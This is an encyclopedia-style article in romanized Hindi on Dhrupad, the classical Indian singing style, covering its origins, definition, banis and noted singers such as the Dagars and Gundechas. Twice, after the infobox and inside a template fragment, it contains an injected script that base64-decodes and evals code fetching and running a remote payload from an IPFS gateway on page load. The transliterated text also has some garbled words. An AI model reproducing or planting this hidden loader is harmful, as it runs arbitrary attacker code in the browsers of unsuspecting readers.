ध्रुपद
dhrupad
| |
| vivaran | 'dhrupad' bharat ki prasiddh gayan shaili hai. yah gayan shaili apane ap mean paripoorn hai, jo vedoan se chali a rahi hai. |
| utpatti | adhikaansh vidvanoan ka mat hai ki pandrahavian shatabdi mean gvaliyar ke raja manasianh tomar ne isaki rachana ki thi. |
| baniyaan | dhrupad gayan ki char baniyaan mani jati haian-
|
| vishesh | dhrupad ganbhir prakriti ka git hai. ise gane mean kanth aur pheph de par bal p data hai. isaliye log ise 'mardana git' kahate haian. |
| sanbandhit lekh | ziya fariduddin dagar, tanasen, svami haridas, baijoo bavara. |
| bahari k diyaan | shastriy sangit ke pad, khayal, dhrupad adi ka janm brajabhoomi mean hone ke karan in sabaki bhasha braj hai aur dhrupad ka vishay samagr roop braj ka ras hi hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
dhrupad athava dhruvapad (aangrezi: Dhrupad) bharat ki samriddh gayan shaili hai. 'dhrupad' ka shabdash: arth hota hai- 'dhruv+pad' arthath 'jisake niyam nishchit hoan, atal hoan, jo niyamoan mean bandha hua ho.' yah atyadhik prachin shaili hai.
utpatti
aj tak sarv sammati se yah nishchit nahian ho paya hai ki dhrupad ka avishkar kab aur kisane kiya. is sambandh mean vidvanoan ke kee mat haian. adhikaansh vidvanoan ka mat yah hai ki pandrahavian shatabdi mean gvaliyar ke raja manasianh tomar ne isaki rachana ki. itana to nishchit roop se kaha ja sakata hai ki raja manasianh tomar ne dhrupad ke prachar mean bahut hath bantaya. unhoanne dhrupad ka shikshan dene hetu vidyalay bhi khola. akabar ke samay mean tanasen aur unake guru svami haridas, nayak baijoo aur gopal adi prakhyat gayak hi gate the.
- paribhasha
'natyashastr' ke anusar varn, alankar, gan-kriya, yati, vani, lay adi jahaan paraspar sambaddh rahean, un gitoan ko 'dhruv' kaha gaya hai. jin padoan mean yah niyam shamil hoan, unhean 'dhruvapad' ya 'dhrupad' kaha jata hai.[1]
visheshata
dhrupad ganbhir prakriti ka git hai. ise gane mean kanth aur pheph de par bal p data hai. isaliye log ise mardana git kahate haian. natyashasr ke anusar varn, alankar, gan- kriya, yati, vani, lay adi jahaan dhruv roop mean paraspar sanbaddh rahean, un gitoan ko dhruva kaha gaya hai. jin padoan mean ukt niyam ka nirvah ho raha ho, unhean dhruvapad athava dhrupad kaha jata hai. shasriy sangit ke pad, khayal, dhrupad adi ka janm brajabhoomi mean hone ke karan in sabaki bhasha braj hai aur dhrupad ka vishay samagr roop braj ka ras hi hai. kalaantar mean mugal kal mean khyal urdoo ki shabdavali ka prabhav bhi dhrupad rachanaoan par p da. vrindavan ke nidhivan nikuanj nivasi svami haridas ne inake vargikaran aur shastriyakaran ka sabase pahale prayas kiya. svami haridas ki rachanaoan mean gayan, vadan aur nrity sanbandhi anek paribhashik shabd, vadyayantroan ke bol evan nam tatha nrity ki taloan v mudraoan ke spasht sanket prapt hote haian. sooradas dvara rachit dhruvapad apoorv nad-sauandary, gamak evan vilakshan shabd- yojana se otaprot dikhaee dete haian.
hiandustani sangit mean char bhagoan mean banta puratan svar sangit, jisamean sabase pahale vistrit parichayatmak alap kiya jata hai aur phir us lay, tal aur dhun ki badhat se phailaya jata hai. yah bad mean prachalit chhote khayal se sanbandhit hai, jisane kuchh had tak dhrupad ki lokapriyata ko kam kar diya hai, shastriy dhrupad ki guru ganbhir rajasi shaili ke lie atyadhik shvas niyantran ki avashyakata hoti thi. isaka gayan nayakoan, eeshvaroan aur rajaoan ki prashansa mean kiya jata tha.
baniyaan
dhrupad gayan shaili apane ap mean paripoorn hai. yah vedoan se chali a rahi hai. is shaili ko svami haridas, tanasen, baijab babar jaise sangit sadhakoan ne apani sadhana se siancha hai. dhrupad gayan ki char baniyaan mani jati haian-
- gouhar bani
- khandar bani
- nauhar bani
- daangur bani
uparokt char gharanoan mean daangur bani aur gauuhar bani prachalan mean haian.[2]
samriddh gayan shaili
dhrupad bharat ki samriddh gayan shaili hai. isamean alapachari ka mahattv hota hai. suandar aur santh alap dhrupad ke pran haian. nom-tom ki alapachari dhrupad gayan ki visheshata hai. prachin kal mean "too hi anant hari" jaise shabdoan ka prayog hota tha. bad mean inhi shabdoan ka sthan nom-tom ne le liya. shabd adhikaanshat: eeshvar aradhana se yukt hote haian. gamak ka vishesh sthan hota hai. is gayaki mean vir, bhakti, shrriangar adi ras bhi hote haian. poorv mean dhrupad ki char baniyaan mani jati thian arthath dhrupad gayan ki char shailiyaan. in baniyoan ke nam the khanadari, nohari, gaurahari aur dagur.
pramukh gayak
'dagar bandhu' ke nam se sabhi parichit haian. umakaant v ramakaant guandecha ne dhrupad gayaki mean ek nee misal kayam ki hai. inhoanne dhrupad gayaki ko paripoorn kiya hai. inaka dhrupad gayan atyant hi madhur, suandar aur bhavaprad hota hai. inhoanne sooradas, miraan adi ke padoan ka gayan bhi dhrupad mean sammilit kiya hai.[3]
fariduddin dagar
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ziya fariduddin dagar bharat ke prasiddh dhrupad gayakoan mean gine jate the. prasiddh dhrupadiya gayak ustad ziyaudadin dagar ke bete fariduddin dagar ne apane divangat bhaee ziya mohiuddin dagar (mashahoor rudr vina vadak) ke sath milakar dhrupad shaili ke gayan ko punarjivit karane mean aham bhoomika nibhaee thi. ustad fariduddin dagar ki sabase b di upalabdhi yah rahi ki unhoanne sangit ke daman mean sabase zyada sitare j de. unake shagird pan. umakaant-ramakaant guandecha, pan. rritik sanyal, uday bhavalakar, pushparaj koshthi aj dhrupad ke aise benajir hire haian, jinaki chamak ne duniyabhar mean dhrupad ko roshan kiya. fariduddin dagar ne svayan to guni shishy taiyar kie hi, sath hi bhopal sthit guandecha bandhuoan ke dhrupad sansthan ka bhoomipoojan kar ne chiragoan ko roshan karane ki zamin mean bij bhi dal die the.
|
|
|
|
|
|
tika-tippani aur sandarbh
- ↑ dhrupad ki paranpara badhate guandecha bandhu (hindi) bibisi. abhigaman tithi: 21 janavari, 2016.
- ↑ vina, vani, venu ka sangam hai dhrupad gayan (hindi) amar ujala.k aaum. abhigaman tithi: 21 janavari, 2016.
- ↑ dhrupad ek samriddh gayan shaili (hindi) (html) surshree.blogspot.in. abhigaman tithi: 20 janavari, 2016.